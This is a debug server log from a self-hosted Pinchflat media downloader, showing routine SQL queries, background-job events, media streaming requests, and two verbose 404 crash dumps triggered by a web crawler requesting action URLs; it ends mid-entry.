LIMIT 1 [] 21:56:26.437 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:26.441 [info] Sent 200 in 17ms 21:56:47.507 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.188 [info] {"source":"oban","duration":483,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:17.509 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:20.055 [info] GET /media/baff2319-aac3-4222-8c56-13948e60dbb6/stream 21:57:20.055 [info] GET /sources/2/media/24133 21:57:20.055 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "24133", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:57:20.055 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "baff2319-aac3-4222-8c56-13948e60dbb6"} Pipelines: [:maybe_basic_auth] 21:57:20.060 [debug] QUERY OK source="media_items" db=3.7ms idle=1977.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24133] 21:57:20.060 [debug] QUERY OK source="media_items" db=2.4ms queue=0.5ms idle=1978.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["baff2319-aac3-4222-8c56-13948e60dbb6"] 21:57:20.063 [debug] QUERY OK source="tasks" db=1.6ms queue=0.1ms idle=983.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [24133] 21:57:20.064 [debug] Invalid range request for media item: baff2319-aac3-4222-8c56-13948e60dbb6 - serving full file 21:57:20.064 [info] Sent 200 in 9ms 21:57:20.068 [debug] QUERY OK source="sources" db=6.6ms queue=0.1ms idle=1928.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:57:20.071 [debug] QUERY OK source="settings" db=1.1ms idle=934.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.074 [debug] QUERY OK source="settings" db=1.5ms queue=0.6ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.076 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=15.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.080 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.2ms idle=15.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:57:20.087 [info] Sent 200 in 31ms 21:57:20.569 [info] GET /sources/2/media/23338 21:57:20.569 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "23338", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:57:20.571 [debug] QUERY OK source="media_items" db=0.9ms idle=498.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23338] 21:57:20.573 [debug] QUERY OK source="tasks" db=0.6ms idle=497.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [23338] 21:57:20.574 [debug] QUERY OK source="sources" db=2.3ms idle=495.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:57:20.576 [debug] QUERY OK source="settings" db=0.8ms idle=495.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.577 [debug] QUERY OK source="settings" db=0.3ms idle=434.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.578 [debug] QUERY OK source="settings" db=0.2ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:57:20.580 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:57:20.582 [info] Sent 200 in 13ms 21:57:25.691 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:57:47.511 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.189 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:17.513 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:25.697 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:58:39.514 [info] GET /media/ff5489b0-5eb9-4c37-9023-6c9929026c35/stream 21:58:39.514 [info] GET /media/4f1e6d0b-75e8-45bf-8496-f42b73118bc7/stream 21:58:39.514 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4f1e6d0b-75e8-45bf-8496-f42b73118bc7"} Pipelines: [:maybe_basic_auth] 21:58:39.514 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "ff5489b0-5eb9-4c37-9023-6c9929026c35"} Pipelines: [:maybe_basic_auth] 21:58:39.516 [debug] QUERY OK source="media_items" db=1.1ms idle=1184.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4f1e6d0b-75e8-45bf-8496-f42b73118bc7"] 21:58:39.518 [debug] QUERY OK source="media_items" db=2.4ms idle=1432.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["ff5489b0-5eb9-4c37-9023-6c9929026c35"] 21:58:39.519 [debug] Invalid range request for media item: 4f1e6d0b-75e8-45bf-8496-f42b73118bc7 - serving full file 21:58:39.519 [info] Sent 200 in 4ms 21:58:39.519 [debug] Invalid range request for media item: ff5489b0-5eb9-4c37-9023-6c9929026c35 - serving full file 21:58:39.520 [info] Sent 200 in 5ms 21:58:47.515 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.190 [info] {"source":"oban","duration":475,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:05.133 [info] GET /sources/1/force_metadata_refresh 21:59:05.133 [info] GET /media/91770acf-1a73-47fd-96ab-f8e4d0657613/stream 21:59:05.133 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "91770acf-1a73-47fd-96ab-f8e4d0657613"} Pipelines: [:maybe_basic_auth] 21:59:05.136 [debug] QUERY OK source="media_items" db=1.8ms idle=1940.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["91770acf-1a73-47fd-96ab-f8e4d0657613"] 21:59:05.136 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=1940.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:05.137 [debug] Invalid range request for media item: 91770acf-1a73-47fd-96ab-f8e4d0657613 - serving full file 21:59:05.137 [debug] QUERY OK source="settings" db=0.7ms idle=1943.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:05.137 [info] Sent 200 in 4ms 21:59:05.138 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:59:05.138 [error] #PID<0.1309899.0> running PinchflatWeb.Endpoint (connection #PID<0.1309898.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 37386}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309899.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpAtS_kqxtKa8ADOYS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 37386}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 37386}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309899.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpAtS_kqxtKa8ADOYS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, st (truncated) 21:59:17.518 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:47.520 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.191 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:00:17.522 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:25.708 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:00:47.524 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.194 [info] {"source":"oban","duration":2069,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:17.526 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:47.528 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:52.050 [info] GET /sources/1/sync_files_on_disk 22:01:52.050 [info] GET /media_profiles/1 22:01:52.051 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:01:52.053 [debug] QUERY OK source="settings" db=2.0ms idle=857.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:52.053 [debug] QUERY OK source="media_profiles" db=1.5ms idle=858.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:52.055 [debug] QUERY OK source="settings" db=1.1ms queue=0.6ms idle=860.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:52.055 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:01:52.056 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=306.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:01:52.058 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=236.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:52.059 [error] #PID<0.1309973.0> running PinchflatWeb.Endpoint (connection #PID<0.1309974.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309973.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpKbHDFOXG29kADOaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => 